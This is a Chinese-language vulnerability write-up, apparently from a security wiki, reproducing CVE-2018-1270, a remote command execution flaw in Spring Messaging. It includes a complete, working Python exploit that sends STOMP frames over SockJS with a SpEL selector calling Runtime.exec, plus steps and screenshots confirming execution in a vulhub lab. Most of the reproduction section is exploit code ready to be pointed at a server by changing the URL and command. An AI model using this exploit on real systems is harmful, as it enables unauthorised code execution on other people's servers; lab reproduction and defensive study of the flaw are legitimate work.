menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right 170-Spring Messaging chevron_right 001-(CVE-2018-1270)Spring Messaging 远程命令执行漏洞.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    001-(CVE-2018-1270)Spring Messaging 远程命令执行漏洞.md
    4.12 KB / 2021-07-17 00:01:22
        # (CVE-2018-1270)Spring Messaging 远程命令执行漏洞
    
    ## 一、漏洞简介
    
    spring messaging为spring框架提供消息支持,其上层协议是STOMP,底层通信基于SockJS,
    
    在spring messaging中,其允许客户端订阅消息,并使用selector过滤消息。selector用SpEL表达式编写,并使用`StandardEvaluationContext`解析,造成命令执行漏洞。
    
    ## 二、漏洞影响
    
    Spring Java Framework < 5.0
    
    ## 三、复现过程
    
    网上大部分文章都说spring messaging是基于websocket通信,其实不然。spring messaging是基于sockjs(可以理解为一个通信协议),而sockjs适配多种浏览器:现代浏览器中使用websocket通信,老式浏览器中使用ajax通信。
    
    连接后端服务器的流程,可以理解为:
    
    用[STOMP协议](http://jmesnil.net/stomp-websocket/doc/)将数据组合成一个文本流
    
    用[sockjs协议](https://github.com/sockjs/sockjs-client)发送文本流,sockjs会选择一个合适的通道:websocket或xhr(http),与后端通信所以我们可以使用http来复现漏洞,称之为“降维打击”。
    
    我编写了一个简单的POC脚本exploit.py(需要用python3.6执行),因为该漏洞是订阅的时候插入SpEL表达式,而对方向这个订阅发送消息时才会触发,所以我们需要指定的信息有:
    
    * 基础地址,在vulhub中为http://your-ip:8080/gs-guide-websocket
    * 待执行的SpEL表达式,如T(java.lang.Runtime).getRuntime().exec('touch /tmp/success')
    * 某一个订阅的地址,如vulhub中为:/topic/greetings
    * 如何触发这个订阅,即如何让后端向这个订阅发送消息。在vulhub中,我们向/app/hello发送一个包含name的json,即可触发这个事件。当然在实战中就不同了,所以这个poc并不具有通用性。
    
    根据你自己的需求修改POC。如果是vulhub环境,你只需修改1中的url即可。
    
    CVE-2018-1270.py
    
    
    ```python
    #!/usr/bin/env python3
    import requests
    import random
    import string
    import time
    import threading
    import logging
    import sys
    import json
    
    logging.basicConfig(stream=sys.stdout, level=logging.INFO)
    
    def random_str(length):
        letters = string.ascii_lowercase + string.digits
        return ''.join(random.choice(letters) for c in range(length))
    
    
    class SockJS(threading.Thread):
        def __init__(self, url, *args, **kwargs):
            super().__init__(*args, **kwargs)
            self.base = f'{url}/{random.randint(0, 1000)}/{random_str(8)}'
            self.daemon = True
            self.session = requests.session()
            self.session.headers = {
                'Referer': url,
                'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)'
            }
            self.t = int(time.time()*1000)
    
        def run(self):
            url = f'{self.base}/htmlfile?c=_jp.vulhub'
            response = self.session.get(url, stream=True)
            for line in response.iter_lines():
                time.sleep(0.5)
        
        def send(self, command, headers, body=''):
            data = [command.upper(), '\n']
    
            data.append('\n'.join([f'{k}:{v}' for k, v in headers.items()]))
            
            data.append('\n\n')
            data.append(body)
            data.append('\x00')
            data = json.dumps([''.join(data)])
    
            response = self.session.post(f'{self.base}/xhr_send?t={self.t}', data=data)
            if response.status_code != 204:
                logging.info(f"send '{command}' data error.")
            else:
                logging.info(f"send '{command}' data success.")
    
        def __del__(self):
            self.session.close()
    
    
    sockjs = SockJS('http://your-ip:8080/gs-guide-websocket')
    sockjs.start()
    time.sleep(1)
    
    sockjs.send('connect', {
        'accept-version': '1.1,1.0',
        'heart-beat': '10000,10000'
    })
    sockjs.send('subscribe', {
        'selector': "T(java.lang.Runtime).getRuntime().exec('touch /tmp/success')",
        'id': 'sub-0',
        'destination': '/topic/greetings'
    })
    
    data = json.dumps({'name': 'vulhub'})
    sockjs.send('send', {
        'content-length': len(data),
        'destination': '/app/hello'
    }, data)
    ```
    
    执行:
    
    ![](images/2020_06_13/15920625626200.png)
    
    
    进入容器docker-compose exec spring bash,可见/tmp/success已成功创建:
    
    ![](images/2020_06_13/15920625701315.png)
    
    
    links
    file_download